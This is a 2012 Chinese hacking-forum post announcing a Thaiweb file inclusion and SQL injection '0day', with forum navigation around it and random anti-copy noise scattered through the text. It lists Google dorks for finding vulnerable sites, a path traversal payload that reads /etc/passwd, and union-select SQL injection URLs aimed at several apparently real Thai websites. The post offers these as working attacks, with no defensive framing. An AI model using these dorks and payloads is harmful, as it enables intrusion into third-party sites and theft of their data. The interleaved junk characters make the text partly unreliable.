找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2084|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Google之:. r% N( m- D& a& M/ c

  _+ G, m) u! T* l4 Pintext:powered by Thaiweb* G# E! {% Y! H. L" o# |

2 t+ j7 ?: u! E/ b: r, ?0 `1 ninurl:index.php?page=board.php
+ B: j* B: k8 h
- R% P$ h& @+ _/ M& u8 h1 |0 z1 x 0 H# z6 j1 G. }; Z4 t/ N$ g/ j! `1 a; \
; R( D$ B* U, H* P3 ]" Y4 o
利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd% O9 i& h1 i6 f" B# y
6 I2 V% d0 J4 X# O
# ^. V/ e7 O+ _8 x( R0 S. l1 I$ z
3 P' _6 j  J  u$ }% u7 q7 l' y
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'
9 @" M) K( P1 g: E" N- N1 q9 _
- y1 g& v0 x: U7 t, p& j' Y
+ j  y4 ~% B* G) r  `6 R
/ ?; H; c% ^8 Rhttp://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--( |, }% ~! R" f& D: C

4 D/ v2 e2 Y) [, Whttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
1 I/ W. r% Z% ?: }9 L4 g % y$ \& R! e* L
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--+ ^/ u2 y, P6 S5 j! A" W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表